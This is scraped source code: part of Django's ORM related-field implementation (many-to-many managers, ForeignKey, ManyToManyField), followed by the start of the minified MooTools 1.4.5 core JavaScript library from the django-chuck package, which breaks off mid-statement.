join table for the source object # target_field_name: the PK colname in join table for the target object # *objs - objects to remove # If there aren't any objects, there is nothing to do. if objs: # Check that all the objects are of the right type old_ids = set() for obj in objs: if isinstance(obj, self.model): old_ids.add(self._get_fk_val(obj, target_field_name)) else: old_ids.add(obj) # Work out what DB we're operating on db = router.db_for_write(self.through, instance=self.instance) # Send a signal to the other end if need be. if self.reverse or source_field_name == self.source_field_name: # Don't send the signal when we are deleting the # duplicate data row for symmetrical reverse entries. signals.m2m_changed.send(sender=self.through, action="pre_remove", instance=self.instance, reverse=self.reverse, model=self.model, pk_set=old_ids, using=db) # Remove the specified objects from the join table self.through._default_manager.using(db).filter(**{ source_field_name: self._fk_val, '%s__in' % target_field_name: old_ids }).delete() if self.reverse or source_field_name == self.source_field_name: # Don't send the signal when we are deleting the # duplicate data row for symmetrical reverse entries. signals.m2m_changed.send(sender=self.through, action="post_remove", instance=self.instance, reverse=self.reverse, model=self.model, pk_set=old_ids, using=db) def _clear_items(self, source_field_name): db = router.db_for_write(self.through, instance=self.instance) # source_field_name: the PK colname in join table for the source object if self.reverse or source_field_name == self.source_field_name: # Don't send the signal when we are clearing the # duplicate data rows for symmetrical reverse entries. signals.m2m_changed.send(sender=self.through, action="pre_clear", instance=self.instance, reverse=self.reverse, model=self.model, pk_set=None, using=db) self.through._default_manager.using(db).filter(**{ source_field_name: self._fk_val }).delete() if self.reverse or source_field_name == self.source_field_name: # Don't send the signal when we are clearing the # duplicate data rows for symmetrical reverse entries. signals.m2m_changed.send(sender=self.through, action="post_clear", instance=self.instance, reverse=self.reverse, model=self.model, pk_set=None, using=db) return ManyRelatedManager class ManyRelatedObjectsDescriptor(object): # This class provides the functionality that makes the related-object # managers available as attributes on a model class, for fields that have # multiple "remote" values and have a ManyToManyField pointed at them by # some other model (rather than having a ManyToManyField themselves). # In the example "publication.article_set", the article_set attribute is a # ManyRelatedObjectsDescriptor instance. def __init__(self, related): self.related = related # RelatedObject instance @cached_property def related_manager_cls(self): # Dynamically create a class that subclasses the related # model's default manager. return create_many_related_manager( self.related.model._default_manager.__class__, self.related.field.rel ) def __get__(self, instance, instance_type=None): if instance is None: return self rel_model = self.related.model manager = self.related_manager_cls( model=rel_model, query_field_name=self.related.field.name, prefetch_cache_name=self.related.field.related_query_name(), instance=instance, symmetrical=False, source_field_name=self.related.field.m2m_reverse_field_name(), target_field_name=self.related.field.m2m_field_name(), reverse=True, through=self.related.field.rel.through, ) return manager def __set__(self, instance, value): if instance is None: raise AttributeError("Manager must be accessed via instance") if not self.related.field.rel.through._meta.auto_created: opts = self.related.field.rel.through._meta raise AttributeError("Cannot set values on a ManyToManyField which specifies an intermediary model. Use %s.%s's Manager instead." % (opts.app_label, opts.object_name)) manager = self.__get__(instance) manager.clear() manager.add(*value) class ReverseManyRelatedObjectsDescriptor(object): # This class provides the functionality that makes the related-object # managers available as attributes on a model class, for fields that have # multiple "remote" values and have a ManyToManyField defined in their # model (rather than having another model pointed *at* them). # In the example "article.publications", the publications attribute is a # ReverseManyRelatedObjectsDescriptor instance. def __init__(self, m2m_field): self.field = m2m_field @property def through(self): # through is provided so that you have easy access to the through # model (Book.authors.through) for inlines, etc. This is done as # a property to ensure that the fully resolved value is returned. return self.field.rel.through @cached_property def related_manager_cls(self): # Dynamically create a class that subclasses the related model's # default manager. return create_many_related_manager( self.field.rel.to._default_manager.__class__, self.field.rel ) def __get__(self, instance, instance_type=None): if instance is None: return self manager = self.related_manager_cls( model=self.field.rel.to, query_field_name=self.field.related_query_name(), prefetch_cache_name=self.field.name, instance=instance, symmetrical=self.field.rel.symmetrical, source_field_name=self.field.m2m_field_name(), target_field_name=self.field.m2m_reverse_field_name(), reverse=False, through=self.field.rel.through, ) return manager def __set__(self, instance, value): if instance is None: raise AttributeError("Manager must be accessed via instance") if not self.field.rel.through._meta.auto_created: opts = self.field.rel.through._meta raise AttributeError("Cannot set values on a ManyToManyField which specifies an intermediary model. Use %s.%s's Manager instead." % (opts.app_label, opts.object_name)) manager = self.__get__(instance) manager.clear() manager.add(*value) class ManyToOneRel(object): def __init__(self, to, field_name, related_name=None, limit_choices_to=None, parent_link=False, on_delete=None): try: to._meta except AttributeError: # to._meta doesn't exist, so it must be RECURSIVE_RELATIONSHIP_CONSTANT assert isinstance(to, six.string_types), "'to' must be either a model, a model name or the string %r" % RECURSIVE_RELATIONSHIP_CONSTANT self.to, self.field_name = to, field_name self.related_name = related_name if limit_choices_to is None: limit_choices_to = {} self.limit_choices_to = limit_choices_to self.multiple = True self.parent_link = parent_link self.on_delete = on_delete def is_hidden(self): "Should the related object be hidden?" return self.related_name and self.related_name[-1] == '+' def get_related_field(self): """ Returns the Field in the 'to' object to which this relationship is tied. """ data = self.to._meta.get_field_by_name(self.field_name) if not data[2]: raise FieldDoesNotExist("No related field named '%s'" % self.field_name) return data[0] class OneToOneRel(ManyToOneRel): def __init__(self, to, field_name, related_name=None, limit_choices_to=None, parent_link=False, on_delete=None): super(OneToOneRel, self).__init__(to, field_name, related_name=related_name, limit_choices_to=limit_choices_to, parent_link=parent_link, on_delete=on_delete ) self.multiple = False class ManyToManyRel(object): def __init__(self, to, related_name=None, limit_choices_to=None, symmetrical=True, through=None): self.to = to self.related_name = related_name if limit_choices_to is None: limit_choices_to = {} self.limit_choices_to = limit_choices_to self.symmetrical = symmetrical self.multiple = True self.through = through def is_hidden(self): "Should the related object be hidden?" return self.related_name and self.related_name[-1] == '+' def get_related_field(self): """ Returns the field in the to' object to which this relationship is tied (this is always the primary key on the target model). Provided for symmetry with ManyToOneRel. """ return self.to._meta.pk class ForeignKey(RelatedField, Field): empty_strings_allowed = False default_error_messages = { 'invalid': _('Model %(model)s with pk %(pk)r does not exist.') } description = _("Foreign Key (type determined by related field)") def __init__(self, to, to_field=None, rel_class=ManyToOneRel, **kwargs): try: to_name = to._meta.object_name.lower() except AttributeError: # to._meta doesn't exist, so it must be RECURSIVE_RELATIONSHIP_CONSTANT assert isinstance(to, six.string_types), "%s(%r) is invalid. First parameter to ForeignKey must be either a model, a model name, or the string %r" % (self.__class__.__name__, to, RECURSIVE_RELATIONSHIP_CONSTANT) else: assert not to._meta.abstract, "%s cannot define a relation with abstract class %s" % (self.__class__.__name__, to._meta.object_name) # For backwards compatibility purposes, we need to *try* and set # the to_field during FK construction. It won't be guaranteed to # be correct until contribute_to_class is called. Refs #12190. to_field = to_field or (to._meta.pk and to._meta.pk.name) kwargs['verbose_name'] = kwargs.get('verbose_name', None) if 'db_index' not in kwargs: kwargs['db_index'] = True kwargs['rel'] = rel_class(to, to_field, related_name=kwargs.pop('related_name', None), limit_choices_to=kwargs.pop('limit_choices_to', None), parent_link=kwargs.pop('parent_link', False), on_delete=kwargs.pop('on_delete', CASCADE), ) Field.__init__(self, **kwargs) def validate(self, value, model_instance): if self.rel.parent_link: return super(ForeignKey, self).validate(value, model_instance) if value is None: return using = router.db_for_read(model_instance.__class__, instance=model_instance) qs = self.rel.to._default_manager.using(using).filter( **{self.rel.field_name: value} ) qs = qs.complex_filter(self.rel.limit_choices_to) if not qs.exists(): raise exceptions.ValidationError(self.error_messages['invalid'] % { 'model': self.rel.to._meta.verbose_name, 'pk': value}) def get_attname(self): return '%s_id' % self.name def get_validator_unique_lookup_type(self): return '%s__%s__exact' % (self.name, self.rel.get_related_field().name) def get_default(self): "Here we check if the default value is an object and return the to_field if so." field_default = super(ForeignKey, self).get_default() if isinstance(field_default, self.rel.to): return getattr(field_default, self.rel.get_related_field().attname) return field_default def get_db_prep_save(self, value, connection): if value == '' or value == None: return None else: return self.rel.get_related_field().get_db_prep_save(value, connection=connection) def value_to_string(self, obj): if not obj: # In required many-to-one fields with only one available choice, # select that one available choice. Note: For SelectFields # we have to check that the length of choices is *2*, not 1, # because SelectFields always have an initial "blank" value. if not self.blank and self.choices: choice_list = self.get_choices_default() if len(choice_list) == 2: return smart_text(choice_list[1][0]) return Field.value_to_string(self, obj) def contribute_to_class(self, cls, name): super(ForeignKey, self).contribute_to_class(cls, name) setattr(cls, self.name, ReverseSingleRelatedObjectDescriptor(self)) if isinstance(self.rel.to, six.string_types): target = self.rel.to else: target = self.rel.to._meta.db_table cls._meta.duplicate_targets[self.column] = (target, "o2m") def contribute_to_related_class(self, cls, related): # Internal FK's - i.e., those with a related name ending with '+' - # and swapped models don't get a related descriptor. if not self.rel.is_hidden() and not related.model._meta.swapped: setattr(cls, related.get_accessor_name(), ForeignRelatedObjectsDescriptor(related)) if self.rel.limit_choices_to: cls._meta.related_fkey_lookups.append(self.rel.limit_choices_to) if self.rel.field_name is None: self.rel.field_name = cls._meta.pk.name def formfield(self, **kwargs): db = kwargs.pop('using', None) if isinstance(self.rel.to, six.string_types): raise ValueError("Cannot create form field for %r yet, because " "its related model %r has not been loaded yet" % (self.name, self.rel.to)) defaults = { 'form_class': forms.ModelChoiceField, 'queryset': self.rel.to._default_manager.using(db).complex_filter(self.rel.limit_choices_to), 'to_field_name': self.rel.field_name, } defaults.update(kwargs) return super(ForeignKey, self).formfield(**defaults) def db_type(self, connection): # The database column type of a ForeignKey is the column type # of the field to which it points. An exception is if the ForeignKey # points to an AutoField/PositiveIntegerField/PositiveSmallIntegerField, # in which case the column type is simply that of an IntegerField. # If the database needs similar types for key fields however, the only # thing we can do is making AutoField an IntegerField. rel_field = self.rel.get_related_field() if (isinstance(rel_field, AutoField) or (not connection.features.related_fields_match_type and isinstance(rel_field, (PositiveIntegerField, PositiveSmallIntegerField)))): return IntegerField().db_type(connection=connection) return rel_field.db_type(connection=connection) class OneToOneField(ForeignKey): """ A OneToOneField is essentially the same as a ForeignKey, with the exception that always carries a "unique" constraint with it and the reverse relation always returns the object pointed to (since there will only ever be one), rather than returning a list. """ description = _("One-to-one relationship") def __init__(self, to, to_field=None, **kwargs): kwargs['unique'] = True super(OneToOneField, self).__init__(to, to_field, OneToOneRel, **kwargs) def contribute_to_related_class(self, cls, related): setattr(cls, related.get_accessor_name(), SingleRelatedObjectDescriptor(related)) def formfield(self, **kwargs): if self.rel.parent_link: return None return super(OneToOneField, self).formfield(**kwargs) def save_form_data(self, instance, data): if isinstance(data, self.rel.to): setattr(instance, self.name, data) else: setattr(instance, self.attname, data) def create_many_to_many_intermediary_model(field, klass): from django.db import models managed = True if isinstance(field.rel.to, six.string_types) and field.rel.to != RECURSIVE_RELATIONSHIP_CONSTANT: to_model = field.rel.to to = to_model.split('.')[-1] def set_managed(field, model, cls): field.rel.through._meta.managed = model._meta.managed or cls._meta.managed add_lazy_relation(klass, field, to_model, set_managed) elif isinstance(field.rel.to, six.string_types): to = klass._meta.object_name to_model = klass managed = klass._meta.managed else: to = field.rel.to._meta.object_name to_model = field.rel.to managed = klass._meta.managed or to_model._meta.managed name = '%s_%s' % (klass._meta.object_name, field.name) if field.rel.to == RECURSIVE_RELATIONSHIP_CONSTANT or to == klass._meta.object_name: from_ = 'from_%s' % to.lower() to = 'to_%s' % to.lower() else: from_ = klass._meta.object_name.lower() to = to.lower() meta = type('Meta', (object,), { 'db_table': field._get_m2m_db_table(klass._meta), 'managed': managed, 'auto_created': klass, 'app_label': klass._meta.app_label, 'db_tablespace': klass._meta.db_tablespace, 'unique_together': (from_, to), 'verbose_name': '%(from)s-%(to)s relationship' % {'from': from_, 'to': to}, 'verbose_name_plural': '%(from)s-%(to)s relationships' % {'from': from_, 'to': to}, }) # Construct and return the new class. return type(str(name), (models.Model,), { 'Meta': meta, '__module__': klass.__module__, from_: models.ForeignKey(klass, related_name='%s+' % name, db_tablespace=field.db_tablespace), to: models.ForeignKey(to_model, related_name='%s+' % name, db_tablespace=field.db_tablespace) }) class ManyToManyField(RelatedField, Field): description = _("Many-to-many relationship") def __init__(self, to, **kwargs): try: assert not to._meta.abstract, "%s cannot define a relation with abstract class %s" % (self.__class__.__name__, to._meta.object_name) except AttributeError: # to._meta doesn't exist, so it must be RECURSIVE_RELATIONSHIP_CONSTANT assert isinstance(to, six.string_types), "%s(%r) is invalid. First parameter to ManyToManyField must be either a model, a model name, or the string %r" % (self.__class__.__name__, to, RECURSIVE_RELATIONSHIP_CONSTANT) # Python 2.6 and earlier require dictionary keys to be of str type, # not unicode and class names must be ASCII (in Python 2.x), so we # forcibly coerce it here (breaks early if there's a problem). to = str(to) kwargs['verbose_name'] = kwargs.get('verbose_name', None) kwargs['rel'] = ManyToManyRel(to, related_name=kwargs.pop('related_name', None), limit_choices_to=kwargs.pop('limit_choices_to', None), symmetrical=kwargs.pop('symmetrical', to == RECURSIVE_RELATIONSHIP_CONSTANT), through=kwargs.pop('through', None)) self.db_table = kwargs.pop('db_table', None) if kwargs['rel'].through is not None: assert self.db_table is None, "Cannot specify a db_table if an intermediary model is used." Field.__init__(self, **kwargs) msg = _('Hold down "Control", or "Command" on a Mac, to select more than one.') self.help_text = string_concat(self.help_text, ' ', msg) def get_choices_default(self): return Field.get_choices(self, include_blank=False) def _get_m2m_db_table(self, opts): "Function that can be curried to provide the m2m table name for this relation" if self.rel.through is not None: return self.rel.through._meta.db_table elif self.db_table: return self.db_table else: return util.truncate_name('%s_%s' % (opts.db_table, self.name), connection.ops.max_name_length()) def _get_m2m_attr(self, related, attr): "Function that can be curried to provide the source accessor or DB column name for the m2m table" cache_attr = '_m2m_%s_cache' % attr if hasattr(self, cache_attr): return getattr(self, cache_attr) for f in self.rel.through._meta.fields: if hasattr(f, 'rel') and f.rel and f.rel.to == related.model: setattr(self, cache_attr, getattr(f, attr)) return getattr(self, cache_attr) def _get_m2m_reverse_attr(self, related, attr): "Function that can be curried to provide the related accessor or DB column name for the m2m table" cache_attr = '_m2m_reverse_%s_cache' % attr if hasattr(self, cache_attr): return getattr(self, cache_attr) found = False for f in self.rel.through._meta.fields: if hasattr(f, 'rel') and f.rel and f.rel.to == related.parent_model: if related.model == related.parent_model: # If this is an m2m-intermediate to self, # the first foreign key you find will be # the source column. Keep searching for # the second foreign key. if found: setattr(self, cache_attr, getattr(f, attr)) break else: found = True else: setattr(self, cache_attr, getattr(f, attr)) break return getattr(self, cache_attr) def value_to_string(self, obj): data = '' if obj: qs = getattr(obj, self.name).all() data = [instance._get_pk_val() for instance in qs] else: # In required many-to-many fields with only one available choice, # select that one available choice. if not self.blank: choices_list = self.get_choices_default() if len(choices_list) == 1: data = [choices_list[0][0]] return smart_text(data) def contribute_to_class(self, cls, name): # To support multiple relations to self, it's useful to have a non-None # related name on symmetrical relations for internal reasons. The # concept doesn't make a lot of sense externally ("you want me to # specify *what* on my non-reversible relation?!"), so we set it up # automatically. The funky name reduces the chance of an accidental # clash. if self.rel.symmetrical and (self.rel.to == "self" or self.rel.to == cls._meta.object_name): self.rel.related_name = "%s_rel_+" % name super(ManyToManyField, self).contribute_to_class(cls, name) # The intermediate m2m model is not auto created if: # 1) There is a manually specified intermediate, or # 2) The class owning the m2m field is abstract. # 3) The class owning the m2m field has been swapped out. if not self.rel.through and not cls._meta.abstract and not cls._meta.swapped: self.rel.through = create_many_to_many_intermediary_model(self, cls) # Add the descriptor for the m2m relation setattr(cls, self.name, ReverseManyRelatedObjectsDescriptor(self)) # Set up the accessor for the m2m table name for the relation self.m2m_db_table = curry(self._get_m2m_db_table, cls._meta) # Populate some necessary rel arguments so that cross-app relations # work correctly. if isinstance(self.rel.through, six.string_types): def resolve_through_model(field, model, cls): field.rel.through = model add_lazy_relation(cls, self, self.rel.through, resolve_through_model) if isinstance(self.rel.to, six.string_types): target = self.rel.to else: target = self.rel.to._meta.db_table cls._meta.duplicate_targets[self.column] = (target, "m2m") def contribute_to_related_class(self, cls, related): # Internal M2Ms (i.e., those with a related name ending with '+') # and swapped models don't get a related descriptor. if not self.rel.is_hidden() and not related.model._meta.swapped: setattr(cls, related.get_accessor_name(), ManyRelatedObjectsDescriptor(related)) # Set up the accessors for the column names on the m2m table self.m2m_column_name = curry(self._get_m2m_attr, related, 'column') self.m2m_reverse_name = curry(self._get_m2m_reverse_attr, related, 'column') self.m2m_field_name = curry(self._get_m2m_attr, related, 'name') self.m2m_reverse_field_name = curry(self._get_m2m_reverse_attr, related, 'name') get_m2m_rel = curry(self._get_m2m_attr, related, 'rel') self.m2m_target_field_name = lambda: get_m2m_rel().field_name get_m2m_reverse_rel = curry(self._get_m2m_reverse_attr, related, 'rel') self.m2m_reverse_target_field_name = lambda: get_m2m_reverse_rel().field_name def set_attributes_from_rel(self): pass def value_from_object(self, obj): "Returns the value of this field in the given model instance." return getattr(obj, self.attname).all() def save_form_data(self, instance, data): setattr(instance, self.attname, data) def formfield(self, **kwargs): db = kwargs.pop('using', None) defaults = { 'form_class': forms.ModelMultipleChoiceField, 'queryset': self.rel.to._default_manager.using(db).complex_filter(self.rel.limit_choices_to) } defaults.update(kwargs) # If initial is passed in, it's a list of related objects, but the # MultipleChoiceField takes a list of IDs. if defaults.get('initial') is not None: initial = defaults['initial'] if callable(initial): initial = initial() defaults['initial'] = [i._get_pk_val() for i in initial] return super(ManyToManyField, self).formfield(**defaults) def db_type(self, connection): # A ManyToManyField is not represented by a single column, # so return None. return None
PypiClean
/django-chuck-0.2.3.tar.gz/django-chuck/modules/mootools/project/static/scripts/libs/mootools/mootools-core.min.js
(function(){this.MooTools={version:"1.4.5",build:"ab8ea8824dc3b24b6666867a2c4ed58ebb762cf0"};var o=this.typeOf=function(i){if(i==null){return"null";}if(i.$family!=null){return i.$family(); }if(i.nodeName){if(i.nodeType==1){return"element";}if(i.nodeType==3){return(/\S/).test(i.nodeValue)?"textnode":"whitespace";}}else{if(typeof i.length=="number"){if(i.callee){return"arguments"; }if("item" in i){return"collection";}}}return typeof i;};var j=this.instanceOf=function(t,i){if(t==null){return false;}var s=t.$constructor||t.constructor; while(s){if(s===i){return true;}s=s.parent;}if(!t.hasOwnProperty){return false;}return t instanceof i;};var f=this.Function;var p=true;for(var k in {toString:1}){p=null; }if(p){p=["hasOwnProperty","valueOf","isPrototypeOf","propertyIsEnumerable","toLocaleString","toString","constructor"];}f.prototype.overloadSetter=function(s){var i=this; return function(u,t){if(u==null){return this;}if(s||typeof u!="string"){for(var v in u){i.call(this,v,u[v]);}if(p){for(var w=p.length;w--;){v=p[w];if(u.hasOwnProperty(v)){i.call(this,v,u[v]); }}}}else{i.call(this,u,t);}return this;};};f.prototype.overloadGetter=function(s){var i=this;return function(u){var v,t;if(typeof u!="string"){v=u;}else{if(arguments.length>1){v=arguments; }else{if(s){v=[u];}}}if(v){t={};for(var w=0;w<v.length;w++){t[v[w]]=i.call(this,v[w]);}}else{t=i.call(this,u);}return t;};};f.prototype.extend=function(i,s){this[i]=s; }.overloadSetter();f.prototype.implement=function(i,s){this.prototype[i]=s;}.overloadSetter();var n=Array.prototype.slice;f.from=function(i){return(o(i)=="function")?i:function(){return i; };};Array.from=function(i){if(i==null){return[];}return(a.isEnumerable(i)&&typeof i!="string")?(o(i)=="array")?i:n.call(i):[i];};Number.from=function(s){var i=parseFloat(s); return isFinite(i)?i:null;};String.from=function(i){return i+"";};f.implement({hide:function(){this.$hidden=true;return this;},protect:function(){this.$protected=true; return this;}});var a=this.Type=function(u,t){if(u){var s=u.toLowerCase();var i=function(v){return(o(v)==s);};a["is"+u]=i;if(t!=null){t.prototype.$family=(function(){return s; }).hide();}}if(t==null){return null;}t.extend(this);t.$constructor=a;t.prototype.$constructor=t;return t;};var e=Object.prototype.toString;a.isEnumerable=function(i){return(i!=null&&typeof i.length=="number"&&e.call(i)!="[object Function]"); };var q={};var r=function(i){var s=o(i.prototype);return q[s]||(q[s]=[]);};var b=function(t,x){if(x&&x.$hidden){return;}var s=r(this);for(var u=0;u<s.length; u++){var w=s[u];if(o(w)=="type"){b.call(w,t,x);}else{w.call(this,t,x);}}var v=this.prototype[t];if(v==null||!v.$protected){this.prototype[t]=x;}if(this[t]==null&&o(x)=="function"){m.call(this,t,function(i){return x.apply(i,n.call(arguments,1)); });}};var m=function(i,t){if(t&&t.$hidden){return;}var s=this[i];if(s==null||!s.$protected){this[i]=t;}};a.implement({implement:b.overloadSetter(),extend:m.overloadSetter(),alias:function(i,s){b.call(this,i,this.prototype[s]); }.overloadSetter(),mirror:function(i){r(this).push(i);return this;}});new a("Type",a);var d=function(s,x,v){var u=(x!=Object),B=x.prototype;if(u){x=new a(s,x); }for(var y=0,w=v.length;y<w;y++){var C=v[y],A=x[C],z=B[C];if(A){A.protect();}if(u&&z){x.implement(C,z.protect());}}if(u){var t=B.propertyIsEnumerable(v[0]); x.forEachMethod=function(G){if(!t){for(var F=0,D=v.length;F<D;F++){G.call(B,B[v[F]],v[F]);}}for(var E in B){G.call(B,B[E],E);}};}return d;};d("String",String,["charAt","charCodeAt","concat","indexOf","lastIndexOf","match","quote","replace","search","slice","split","substr","substring","trim","toLowerCase","toUpperCase"])("Array",Array,["pop","push","reverse","shift","sort","splice","unshift","concat","join","slice","indexOf","lastIndexOf","filter","forEach","every","map","some","reduce","reduceRight"])("Number",Number,["toExponential","toFixed","toLocaleString","toPrecision"])("Function",f,["apply","call","bind"])("RegExp",RegExp,["exec","test"])("Object",Object,["create","defineProperty","defineProperties","keys","getPrototypeOf","getOwnPropertyDescriptor","getOwnPropertyNames","preventExtensions","isExtensible","seal","isSealed","freeze","isFrozen"])("Date",Date,["now"]); Object.extend=m.overloadSetter();Date.extend("now",function(){return +(new Date);});new a("Boolean",Boolean);Number.prototype.$family=function(){return isFinite(this)?"number":"null"; }.hide();Number.extend("random",function(s,i){return Math.floor(Math.random()*(i-s+1)+s);});var g=Object.prototype.hasOwnProperty;Object.extend("forEach",function(i,t,u){for(var s in i){if(g.call(i,s)){t.call(u,i[s],s,i); }}});Object.each=Object.forEach;Array.implement({forEach:function(u,v){for(var t=0,s=this.length;t<s;t++){if(t in this){u.call(v,this[t],t,this);}}},each:function(i,s){Array.forEach(this,i,s); return this;}});var l=function(i){switch(o(i)){case"array":return i.clone();case"object":return Object.clone(i);default:return i;}};Array.implement("clone",function(){var s=this.length,t=new Array(s); while(s--){t[s]=l(this[s]);}return t;});var h=function(s,i,t){switch(o(t)){case"object":if(o(s[i])=="object"){Object.merge(s[i],t);}else{s[i]=Object.clone(t); }break;case"array":s[i]=t.clone();break;default:s[i]=t;}return s;};Object.extend({merge:function(z,u,t){if(o(u)=="string"){return h(z,u,t);}for(var y=1,s=arguments.length; y<s;y++){var w=arguments[y];for(var x in w){h(z,x,w[x]);}}return z;},clone:function(i){var t={};for(var s in i){t[s]=l(i[s]);}return t;},append:function(w){for(var v=1,t=arguments.length; v<t;v++){var s=arguments[v]||{};for(var u in s){w[u]=s[u];}}return w;}});["Object","WhiteSpace","TextNode","Collection","Arguments"].each(function(i){new a(i); });var c=Date.now();String.extend("uniqueID",function(){return(c++).toString(36);});})();Array.implement({every:function(c,d){for(var b=0,a=this.length>>>0; b<a;b++){if((b in this)&&!c.call(d,this[b],b,this)){return false;}}return true;},filter:function(d,f){var c=[];for(var e,b=0,a=this.length>>>0;b<a;b++){if(b in this){e=this[b]; if(d.call(f,e,b,this)){c.push(e);}}}return c;},indexOf:function(c,d){var b=this.length>>>0;for(var a=(d<0)?Math.max(0,b+d):d||0;a<b;a++){if(this[a]===c){return a; }}return -1;},map:function(c,e){var d=this.length>>>0,b=Array(d);for(var a=0;a<d;a++){if(a in this){b[a]=c.call(e,this[a],a,this);}}return b;},some:function(c,d){for(var b=0,a=this.length>>>0; b<a;b++){if((b in this)&&c.call(d,this[b],b,this)){return true;}}return false;},clean:function(){return this.filter(function(a){return a!=null;});},invoke:function(a){var b=Array.slice(arguments,1); return this.map(function(c){return c[a].apply(c,b);});},associate:function(c){var d={},b=Math.min(this.length,c.length);for(var a=0;a<b;a++){d[c[a]]=this[a]; }return d;},link:function(c){var a={};for(var e=0,b=this.length;e<b;e++){for(var d in c){if(c[d](this[e])){a[d]=this[e];delete c[d];break;}}}return a;},contains:function(a,b){return this.indexOf(a,b)!=-1; },append:function(a){this.push.apply(this,a);return this;},getLast:function(){return(this.length)?this[this.length-1]:null;},getRandom:function(){return(this.length)?this[Number.random(0,this.length-1)]:null; },include:function(a){if(!this.contains(a)){this.push(a);}return this;},combine:function(c){for(var b=0,a=c.length;b<a;b++){this.include(c[b]);}return this; },erase:function(b){for(var a=this.length;a--;){if(this[a]===b){this.splice(a,1);}}return this;},empty:function(){this.length=0;return this;},flatten:function(){var d=[]; for(var b=0,a=this.length;b<a;b++){var c=typeOf(this[b]);if(c=="null"){continue;}d=d.concat((c=="array"||c=="collection"||c=="arguments"||instanceOf(this[b],Array))?Array.flatten(this[b]):this[b]); }return d;},pick:function(){for(var b=0,a=this.length;b<a;b++){if(this[b]!=null){return this[b];}}return null;},hexToRgb:function(b){if(this.length!=3){return null; }var a=this.map(function(c){if(c.length==1){c+=c;}return c.toInt(16);});return(b)?a:"rgb("+a+")";},rgbToHex:function(d){if(this.length<3){return null;}if(this.length==4&&this[3]==0&&!d){return"transparent"; }var b=[];for(var a=0;a<3;a++){var c=(this[a]-0).toString(16);b.push((c.length==1)?"0"+c:c);}return(d)?b:"#"+b.join("");}});String.implement({test:function(a,b){return((typeOf(a)=="regexp")?a:new RegExp(""+a,b)).test(this); },contains:function(a,b){return(b)?(b+this+b).indexOf(b+a+b)>-1:String(this).indexOf(a)>-1;},trim:function(){return String(this).replace(/^\s+|\s+$/g,""); },clean:function(){return String(this).replace(/\s+/g," ").trim();},camelCase:function(){return String(this).replace(/-\D/g,function(a){return a.charAt(1).toUpperCase(); });},hyphenate:function(){return String(this).replace(/[A-Z]/g,function(a){return("-"+a.charAt(0).toLowerCase());});},capitalize:function(){return String(this).replace(/\b[a-z]/g,function(a){return a.toUpperCase(); });},escapeRegExp:function(){return String(this).replace(/([-.*+?^${}()|[\]\/\\])/g,"\\$1");},toInt:function(a){return parseInt(this,a||10);},toFloat:function(){return parseFloat(this); },hexToRgb:function(b){var a=String(this).match(/^#?(\w{1,2})(\w{1,2})(\w{1,2})$/);return(a)?a.slice(1).hexToRgb(b):null;},rgbToHex:function(b){var a=String(this).match(/\d{1,3}/g); return(a)?a.rgbToHex(b):null;},substitute:function(a,b){return String(this).replace(b||(/\\?\{([^{}]+)\}/g),function(d,c){if(d.charAt(0)=="\\"){return d.slice(1); }return(a[c]!=null)?a[c]:"";});}});Number.implement({limit:function(b,a){return Math.min(a,Math.max(b,this));},round:function(a){a=Math.pow(10,a||0).toFixed(a<0?-a:0); return Math.round(this*a)/a;},times:function(b,c){for(var a=0;a<this;a++){b.call(c,a,this);}},toFloat:function(){return parseFloat(this);},toInt:function(a){return parseInt(this,a||10); }});Number.alias("each","times");(function(b){var a={};b.each(function(c){if(!Number[c]){a[c]=function(){return Math[c].apply(null,[this].concat(Array.from(arguments))); };}});Number.implement(a);})(["abs","acos","asin","atan","atan2","ceil","cos","exp","floor","log","max","min","pow","sin","sqrt","tan"]);Function.extend({attempt:function(){for(var b=0,a=arguments.length; b<a;b++){try{return arguments[b]();}catch(c){}}return null;}});Function.implement({attempt:function(a,c){try{return this.apply(c,Array.from(a));}catch(b){}return null; },bind:function(e){var a=this,b=arguments.length>1?Array.slice(arguments,1):null,d=function(){};var c=function(){var g=e,h=arguments.length;if(this instanceof c){d.prototype=a.prototype; g=new d;}var f=(!b&&!h)?a.call(g):a.apply(g,b&&h?b.concat(Array.slice(arguments)):b||arguments);return g==e?f:g;};return c;},pass:function(b,c){var a=this; if(b!=null){b=Array.from(b);}return function(){return a.apply(c,b||arguments);};},delay:function(b,c,a){return setTimeout(this.pass((a==null?[]:a),c),b); },periodical:function(c,b,a){return setInterval(this.pass((a==null?[]:a),b),c);}});(function(){var a=Object.prototype.hasOwnProperty;Object.extend({subset:function(d,g){var f={}; for(var e=0,b=g.length;e<b;e++){var c=g[e];if(c in d){f[c]=d[c];}}return f;},map:function(b,e,f){var d={};for(var c in b){if(a.call(b,c)){d[c]=e.call(f,b[c],c,b); }}return d;},filter:function(b,e,g){var d={};for(var c in b){var f=b[c];if(a.call(b,c)&&e.call(g,f,c,b)){d[c]=f;}}return d;},every:function(b,d,e){for(var c in b){if(a.call(b,c)&&!d.call(e,b[c],c)){return false; }}return true;},some:function(b,d,e){for(var c in b){if(a.call(b,c)&&d.call(e,b[c],c)){return true;}}return false;},keys:function(b){var d=[];for(var c in b){if(a.call(b,c)){d.push(c); }}return d;},values:function(c){var b=[];for(var d in c){if(a.call(c,d)){b.push(c[d]);}}return b;},getLength:function(b){return Object.keys(b).length;},keyOf:function(b,d){for(var c in b){if(a.call(b,c)&&b[c]===d){return c; }}return null;},contains:function(b,c){return Object.keyOf(b,c)!=null;},toQueryString:function(b,c){var d=[];Object.each(b,function(h,g){if(c){g=c+"["+g+"]"; }var f;switch(typeOf(h)){case"object":f=Object.toQueryString(h,g);break;case"array":var e={};h.each(function(k,j){e[j]=k;});f=Object.toQueryString(e,g); break;default:f=g+"="+encodeURIComponent(h);}if(h!=null){d.push(f);}});return d.join("&");}});})();(function(){var j=this.document;var g=j.window=this; var a=navigator.userAgent.toLowerCase(),b=navigator.platform.toLowerCase(),h=a.match(/(opera|ie|firefox|chrome|version)[\s\/:]([\w\d\.]+)?.*?(safari|version[\s\/:]([\w\d\.]+)|$)/)||[null,"unknown",0],d=h[1]=="ie"&&j.documentMode; var n=this.Browser={extend:Function.prototype.extend,name:(h[1]=="version")?h[3]:h[1],version:d||parseFloat((h[1]=="opera"&&h[4])?h[4]:h[2]),Platform:{name:a.match(/ip(?:ad|od|hone)/)?"ios":(a.match(/(?:webos|android)/)||b.match(/mac|win|linux/)||["other"])[0]},Features:{xpath:!!(j.evaluate),air:!!(g.runtime),query:!!(j.querySelector),json:!!(g.JSON)},Plugins:{}}; n[n.name]=true;n[n.name+parseInt(n.version,10)]=true;n.Platform[n.Platform.name]=true;n.Request=(function(){var p=function(){return new 